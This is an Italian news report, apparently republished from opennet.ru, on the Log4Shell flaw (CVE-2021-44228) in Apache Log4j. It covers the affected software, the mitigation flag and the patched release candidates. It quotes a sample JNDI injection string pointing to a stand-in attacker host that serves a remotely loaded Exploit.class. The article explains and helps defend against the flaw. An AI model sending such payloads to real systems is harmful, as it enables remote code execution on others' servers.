Vulnerabilità catastrofica in Apache Log4j, che colpisce molti progetti Java

In Apache Log4j, un popolare framework per la gestione dei log nelle applicazioni Java, è stata scoperta una vulnerabilità critica che consente l'esecuzione di codice arbitrario attraverso la registrazione di un valore appositamente formattato in formato "{jndi:URL}". L'attacco può essere eseguito su applicazioni Java che registrano valori ottenuti da fonti esterne, come ad esempio nella visualizzazione di valori problematici nei messaggi di errore.

Si segnala che quasi tutti i progetti che utilizzano framework come Apache Struts, Apache Solr, Apache Druid o Apache Flink sono vulnerabili, incluso Steam, Apple iCloud, i client e i server del gioco Minecraft. Si prevede che questa vulnerabilità possa portare a una serie di attacchi di massa sulle applicazioni aziendali, ripetendo la storia delle criticità nel framework Apache Struts, che secondo stime approssimative viene utilizzato nel 65% delle applicazioni web delle aziende nella lista Fortune 100. Sono già state registrate tentativi di scansione della rete per individuare sistemi vulnerabili.

Il problema è aggravato dal fatto che è già stato pubblicato un exploit funzionante, ma al momento le correzioni per i rami stabili non sono state formulate. L'identificativo CVE non è ancora stato assegnato. La correzione è inclusa solo nel ramo di test log4j-2.15.0-rc1. Come soluzione temporanea per bloccare la vulnerabilità, si raccomanda di impostare il parametro log4j2.formatMsgNoLookups su true.

Il problema è stato causato dal fatto che log4j supporta l'elaborazione di maschere speciali "{}" nelle stringhe registrate nei log, in cui potrebbero essere eseguite query JNDI (Java Naming and Directory Interface). L'attacco consiste nell'inviare una stringa con sostituzione "${jndi:ldap://attacker.com/a}", il cui trattamento porterà log4j a inviare una server richiesta LDAP a attacker.com per il percorso della classe Java. Il percorso restituito server dall'attaccante (ad esempio, http://second-stage.attacker.com/Exploit.class) sarà caricato ed eseguito nel contesto del processo corrente, consentendo all'attaccante di ottenere l'esecuzione di codice arbitrario nel sistema con i diritti dell'applicazione corrente.

Appendice 1: Alla vulnerabilità è stato assegnato l'identificativo CVE-2021-44228.

Appendice 2: È stato identificato un modo per aggirare la protezione aggiunta nella versione log4j-2.15.0-rc1. È stato proposto un nuovo aggiornamento log4j-2.15.0-rc2 con una protezione più completa contro la vulnerabilità. Nel codice è evidenziata la modifica relativa all'assenza di un arresto anomalo in caso di utilizzo di un URL JNDI formattato in modo errato.

Fonte: opennet.ru

Acquista hosting affidabile per siti web con protezione DDoS, VPS VDS server 🔥 Acquista hosting affidabile per siti web con protezione DDoS, VPS VDS server | ProHoster